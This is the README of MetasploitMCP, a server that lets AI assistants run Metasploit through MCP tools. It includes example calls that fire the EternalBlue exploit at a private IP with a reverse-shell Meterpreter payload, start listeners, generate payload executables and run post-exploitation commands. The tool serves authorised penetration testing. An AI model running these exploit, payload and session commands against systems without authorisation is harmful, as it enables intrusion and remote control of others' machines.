MetasploitMCP

A Model Context Protocol (MCP) server for Metasploit Framework integration.

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

• list_exploits: Search and list available Metasploit exploit modules
• list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

• run_exploit: Configure and execute an exploit against a target with options to run checks first
• run_auxiliary_module: Run any Metasploit auxiliary module with custom options
• run_post_module: Execute post-exploitation modules against existing sessions

• generate_payload: Generate payload files using Metasploit RPC (saves files locally)

• list_active_sessions: Show current Metasploit sessions with detailed information
• send_session_command: Run a command in an active shell or Meterpreter session
• terminate_session: Forcefully end an active session

• list_listeners: Show all active handlers and background jobs
• start_listener: Create a new multi/handler to receive connections
• stop_job: Terminate any running job or handler

• Metasploit Framework installed and msfrpcd running
• Python 3.10 or higher
• Required Python packages (see requirements.txt)

1. Clone this repository
2. Install dependencies:

   pip install -r requirements.txt
   

3. Configure environment variables (optional):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

The server supports two transport methods:

• HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
• STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

For other MCP clients that use HTTP/SSE:

1. Start the server in HTTP mode:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

2. Configure your MCP client to connect to:

   • SSE endpoint: http://your-server-ip:8085/sse

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

• Always validate and review all commands before execution
• Only run in segregated test environments or with proper authorization
• Be aware that post-exploitation commands can result in significant system modifications

1. List available exploits: list_exploits("ms17_010")
2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. List sessions: list_active_sessions()
4. Run commands: send_session_command(1, "whoami")

1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Send custom commands: send_session_command(1, "sysinfo")
3. Terminate when done: terminate_session(1)

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. List active handlers: list_listeners()
3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Stop a handler: stop_job(1)

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

• In Claude Desktop config:

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.
